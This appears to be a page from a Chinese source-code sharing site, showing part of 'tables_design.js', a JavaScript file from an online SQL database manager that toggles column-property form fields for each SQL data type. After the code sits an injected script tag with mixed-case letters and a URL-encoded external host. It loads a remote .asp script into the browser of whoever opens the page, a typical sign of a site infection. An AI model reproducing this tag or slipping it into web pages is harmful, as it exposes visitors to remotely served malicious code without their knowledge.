tables_design.js

来自「在线SQL数据库企业管理器在线SQL数据库企业管理器」· JavaScript 代码 · 共 771 行 · 第 1/2 页

JS
771 行
字号
12
						
					break;				
					
			case "numeric":
					
					e("Length_" + itemNumber).className= "TableInputOff";
					e("Length_" + itemNumber).disabled = true;
					
					e("Precision_" + itemNumber).className= "TableInput";
					e("Precision_" + itemNumber).disabled = false;
					
					e("Scale_" + itemNumber).className= "TableInput";
					e("Scale_" + itemNumber).disabled = false;
					
					e("Identity_" + itemNumber).disabled = false;
					
					e("Seed_" + itemNumber).className= "TableInput";
					e("Seed_" + itemNumber).disabled = false;
					
					
					e("Increment_" + itemNumber).className= "TableInput";
					e("Increment_" + itemNumber).disabled = false;
					
					if (setValues) {
						e("Length_" + itemNumber).value= 9;
						e("Precision_" + itemNumber).value= 18;
						e("Scale_" + itemNumber).value= 0;
						e("Identity_" + itemNumber).checked = false;
						e("Seed_" + itemNumber).value= "";
						e("Increment_" + itemNumber).value= "";
					}
					
					
					break;			
					
			
			case "nvarchar":
			 
					e("Length_" + itemNumber).className= "TableInput";
					e("Length_" + itemNumber).disabled = false;
					
					e("Precision_" + itemNumber).className= "TableInputOff";
					e("Precision_" + itemNumber).disabled = true;
					
					e("Scale_" + itemNumber).className= "TableInputOff";
					e("Scale_" + itemNumber).disabled = true;
					
					e("Identity_" + itemNumber).disabled = true;
					
					e("Seed_" + itemNumber).className= "TableInputOff";
					e("Seed_" + itemNumber).disabled = true;
					
					e("Increment_" + itemNumber).className= "TableInputOff";
					e("Increment_" + itemNumber).disabled = true;
					
					
					if (setValues) {
						e("Length_" + itemNumber).value= 50;
						e("Precision_" + itemNumber).value= 0;
						e("Scale_" + itemNumber).value= 0;
						e("Seed_" + itemNumber).value= "";
						e("Identity_" + itemNumber).checked = false;
						e("Increment_" + itemNumber).value= "";
					}
					
					break;				
					
			case "real":
			 
					e("Length_" + itemNumber).className= "TableInputOff";
					e("Length_" + itemNumber).disabled = true;
					
					e("Precision_" + itemNumber).className= "TableInputOff";
					e("Precision_" + itemNumber).disabled = true;
					
					e("Scale_" + itemNumber).className= "TableInputOff";
					e("Scale_" + itemNumber).disabled = true;
					
					e("Identity_" + itemNumber).disabled = true;
					
					e("Seed_" + itemNumber).className= "TableInputOff";
					e("Seed_" + itemNumber).disabled = true;
					
					e("Increment_" + itemNumber).className= "TableInputOff";
					e("Increment_" + itemNumber).disabled = true;
					
					
					if (setValues) {
						e("Length_" + itemNumber).value= 4;
						e("Precision_" + itemNumber).value= 24;
						e("Scale_" + itemNumber).value= 0;
						e("Identity_" + itemNumber).checked = false;
						e("Seed_" + itemNumber).value= "";
						e("Increment_" + itemNumber).value= "";
					}
					
					break;				
					
			case "smalldatetime":
			 
					e("Length_" + itemNumber).className= "TableInputOff";
					e("Length_" + itemNumber).disabled = false;
					
					e("Precision_" + itemNumber).className= "TableInputOff";
					e("Precision_" + itemNumber).disabled = true;
					
					e("Scale_" + itemNumber).className= "TableInputOff";
					e("Scale_" + itemNumber).disabled = true;
					
					e("Identity_" + itemNumber).disabled = true;
					
					e("Seed_" + itemNumber).className= "TableInputOff";
					e("Seed_" + itemNumber).disabled = true;
					
					e("Increment_" + itemNumber).className= "TableInputOff";
					e("Increment_" + itemNumber).disabled = true;
					
					if (setValues) {
						e("Length_" + itemNumber).value= 4;
						e("Precision_" + itemNumber).value= "";
						e("Scale_" + itemNumber).value= "";
						e("Identity_" + itemNumber).checked = false;
						e("Seed_" + itemNumber).value= "";
						e("Increment_" + itemNumber).value= "";
					}
					
					break;			
					
					
			case "smallint":
			 
					e("Length_" + itemNumber).className= "TableInputOff";
					e("Length_" + itemNumber).disabled = true;
					
					e("Precision_" + itemNumber).className= "TableInputOff";
					e("Precision_" + itemNumber).disabled = true;
					
					e("Scale_" + itemNumber).className= "TableInputOff";
					e("Scale_" + itemNumber).disabled = true;
					
					e("Identity_" + itemNumber).disabled = false;
					
					e("Seed_" + itemNumber).className= "TableInput";
					e("Seed_" + itemNumber).disabled = false;
					
					e("Increment_" + itemNumber).className= "TableInput";
					e("Increment_" + itemNumber).disabled = false;
					
					
					if (setValues) {
						e("Length_" + itemNumber).value= 2;
						e("Precision_" + itemNumber).value= 5;
						e("Scale_" + itemNumber).value= 0;
						e("Identity_" + itemNumber).checked = false;
						e("Seed_" + itemNumber).value= "";
						e("Increment_" + itemNumber).value= "";
					}
					
					break;					
		
			case "smallmoney":
			 
					e("Length_" + itemNumber).className= "TableInputOff";
					e("Length_" + itemNumber).disabled = true;
					
					e("Precision_" + itemNumber).className= "TableInputOff";
					e("Precision_" + itemNumber).disabled = true;
					
					e("Scale_" + itemNumber).className= "TableInputOff";
					e("Scale_" + itemNumber).disabled = true;
					
					e("Identity_" + itemNumber).disabled = true;
					
					e("Seed_" + itemNumber).className= "TableInputOff";
					e("Seed_" + itemNumber).disabled = true;
					
					e("Increment_" + itemNumber).className= "TableInputOff";
					e("Increment_" + itemNumber).disabled = true;
					
					
					if (setValues) {
						e("Length_" + itemNumber).value= 4;
						e("Precision_" + itemNumber).value= 10;
						e("Scale_" + itemNumber).value= 4;
						e("Identity_" + itemNumber).checked = false;
						e("Seed_" + itemNumber).value= "";
						e("Increment_" + itemNumber).value= "";
					}
					
					break;					
		
		case "text":
			 
					e("Length_" + itemNumber).className= "TableInputOff";
					e("Length_" + itemNumber).disabled = true;
					
					e("Precision_" + itemNumber).className= "TableInputOff";
					e("Precision_" + itemNumber).disabled = true;
					
					e("Scale_" + itemNumber).className= "TableInputOff";
					e("Scale_" + itemNumber).disabled = true;
					
					e("Identity_" + itemNumber).disabled = true;
					
					e("Seed_" + itemNumber).className= "TableInputOff";
					e("Seed_" + itemNumber).disabled = true;
					
					e("Increment_" + itemNumber).className= "TableInputOff";
					e("Increment_" + itemNumber).disabled = true;
					
					
					if (setValues) {
						e("Length_" + itemNumber).value= 16;
						e("Precision_" + itemNumber).value= 0;
						e("Scale_" + itemNumber).value= 0;
						e("Identity_" + itemNumber).checked = false;
						e("Seed_" + itemNumber).value= "";
						e("Increment_" + itemNumber).value= "";
					}
					
					break;				
		
		
		case "timestamp":
					e("Length_" + itemNumber).className= "TableInputOff";
					e("Length_" + itemNumber).disabled = true;
					
					e("Precision_" + itemNumber).className= "TableInputOff";
					e("Precision_" + itemNumber).disabled = true;
					
					e("Default_" + itemNumber).className= "TableInputOff";
					e("Default_" + itemNumber).disabled = true;
					
					e("Scale_" + itemNumber).className= "TableInputOff";
					e("Scale_" + itemNumber).disabled = true;
					
					e("Identity_" + itemNumber).disabled = true;
					
					e("Seed_" + itemNumber).className= "TableInputOff";
					e("Seed_" + itemNumber).disabled = true;
					
					e("Increment_" + itemNumber).className= "TableInputOff";
					e("Increment_" + itemNumber).disabled = true;
					
					if (setValues) {
						e("Length_" + itemNumber).value= 8;
						e("Precision_" + itemNumber).value= 0;
						e("Scale_" + itemNumber).value= 0;
						e("Identity_" + itemNumber).checked = false;
						e("Seed_" + itemNumber).value= "";
						e("Increment_" + itemNumber).value= "";
					}	
					
					
					break;				
		
		case "tinyint":
			 
					e("Length_" + itemNumber).className= "TableInputOff";
					e("Length_" + itemNumber).disabled = true;
					
					e("Precision_" + itemNumber).className= "TableInputOff";
					e("Precision_" + itemNumber).disabled = true;
					
					e("Scale_" + itemNumber).className= "TableInputOff";
					e("Scale_" + itemNumber).disabled = true;
					
					e("Identity_" + itemNumber).disabled = false;
					
					e("Seed_" + itemNumber).className= "TableInput";
					e("Seed_" + itemNumber).disabled = false;
					
					e("Increment_" + itemNumber).className= "TableInput";
					e("Increment_" + itemNumber).disabled = false;
					
					if (setValues) {
						e("Length_" + itemNumber).value= 1;
						e("Precision_" + itemNumber).value= 3;
						e("Scale_" + itemNumber).value= 0;
						e("Identity_" + itemNumber).checked = false;
						e("Seed_" + itemNumber).value= "";
						e("Increment_" + itemNumber).value= "";
					}	
					
					break;		
					
		case "uniqueidentifier":
			 
					e("Length_" + itemNumber).className= "TableInputOff";
					e("Length_" + itemNumber).disabled = true;
					
					e("Precision_" + itemNumber).className= "TableInputOff";
					e("Precision_" + itemNumber).disabled = true;
					
					e("Scale_" + itemNumber).className= "TableInputOff";
					e("Scale_" + itemNumber).disabled = true;
					
					e("Identity_" + itemNumber).disabled = true;
					
					e("Seed_" + itemNumber).className= "TableInputOff";
					e("Seed_" + itemNumber).disabled = true;
					
					e("Increment_" + itemNumber).className= "TableInputOff";
					e("Increment_" + itemNumber).disabled = true;
					
					if (setValues) {
				 		e("Default_" + itemNumber).value= "(newid())";			 
						e("Length_" + itemNumber).value= 16;
						e("Precision_" + itemNumber).value= 0;
						e("Scale_" + itemNumber).value= 0;
						e("Identity_" + itemNumber).checked = false;
						e("Seed_" + itemNumber).value= "";
						e("Increment_" + itemNumber).value= "";
					}
					
					break;		
					
					
		case "varbinary":
					
					e("Length_" + itemNumber).className= "TableInput";
					e("Length_" + itemNumber).disabled = false;
					
					e("Precision_" + itemNumber).className= "TableInputOff";
					e("Precision_" + itemNumber).disabled = true;
					
					e("Scale_" + itemNumber).className= "TableInputOff";
					e("Scale_" + itemNumber).disabled = true;
					
					e("Identity_" + itemNumber).disabled = true;
					
					e("Seed_" + itemNumber).className= "TableInputOff";
					e("Seed_" + itemNumber).disabled = true;
					
					e("Increment_" + itemNumber).className= "TableInputOff";
					e("Increment_" + itemNumber).disabled = true;
					
					if (setValues) {
						e("Length_" + itemNumber).value= 50;
						e("Precision_" + itemNumber).value= 0;
						e("Scale_" + itemNumber).value= 0;
						e("Identity_" + itemNumber).checked = false;
						e("Seed_" + itemNumber).value= "";
						e("Increment_" + itemNumber).value= "";
					}	
					
					break;	
					
		
			case "varchar":
					e("Length_" + itemNumber).className= "TableInput";
					e("Length_" + itemNumber).disabled = false;
					
					e("Precision_" + itemNumber).className= "TableInputOff";
					e("Precision_" + itemNumber).disabled = true;
					
					e("Scale_" + itemNumber).className= "TableInputOff";
					e("Scale_" + itemNumber).disabled = true;
					
					e("Identity_" + itemNumber).disabled = true;
					
					e("Seed_" + itemNumber).className= "TableInputOff";
					e("Seed_" + itemNumber).disabled = true;
					
					e("Increment_" + itemNumber).className= "TableInputOff";
					e("Increment_" + itemNumber).disabled = true;
					
					if (setValues) {	
						e("Length_" + itemNumber).value= 50;
						e("Precision_" + itemNumber).value= 0;
						e("Scale_" + itemNumber).value= 0;
						e("Identity_" + itemNumber).checked = false;
						e("Seed_" + itemNumber).value= "";
						e("Increment_" + itemNumber).value= "";
					}
						
					break;	
										
		
		}
	  
		
	}

<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>
12

tables_design.js - 源码说明

本页面展示了「在线SQL数据库企业管理器在线SQL数据库企业管理器」中的 tables_design.js 源码文件，采用 JavaScript 编程语言编写，共 771 行代码。您可以在线阅读完整代码内容，也可以返回资源详情页下载完整源码包进行本地学习和开发。

虫虫开发者社区收录了大量与SQL相关的技术资源，包括源代码、技术文档、电路图等，是电子工程师和嵌入式开发者的专业学习平台。

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?